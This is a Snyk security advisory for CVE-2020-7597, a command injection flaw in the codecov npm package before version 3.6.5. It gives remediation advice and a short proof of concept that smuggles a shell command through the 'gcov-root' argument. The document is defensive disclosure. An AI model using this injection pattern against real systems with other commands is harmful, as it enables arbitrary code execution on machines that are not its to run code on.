Command Injection Affecting codecov package, versions <3.6.5
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.76% (82nd
percentile)
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Test your applications- Snyk ID SNYK-JS-CODECOV-548879
- published 16 Feb 2020
- disclosed 16 Feb 2020
- credit JHU System Security Lab
Introduced: 16 Feb 2020
CVE-2020-7597 Open this link in a new tabHow to fix?
Upgrade codecov to version 3.6.5 or higher.
Overview
codecov is a npm package for uploading reports to Codecov.
Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.
PoC by JHU System Security Lab
var root = require("codecov");
var args = {
"options": {
'gcov-root': "& touch exploit &",
'gcov-exec': ' ',
'gcov-args': ' '
}
}
root.handleInput.upload(args, function(){}, function(){});
References
CVSS Scores
version 3.1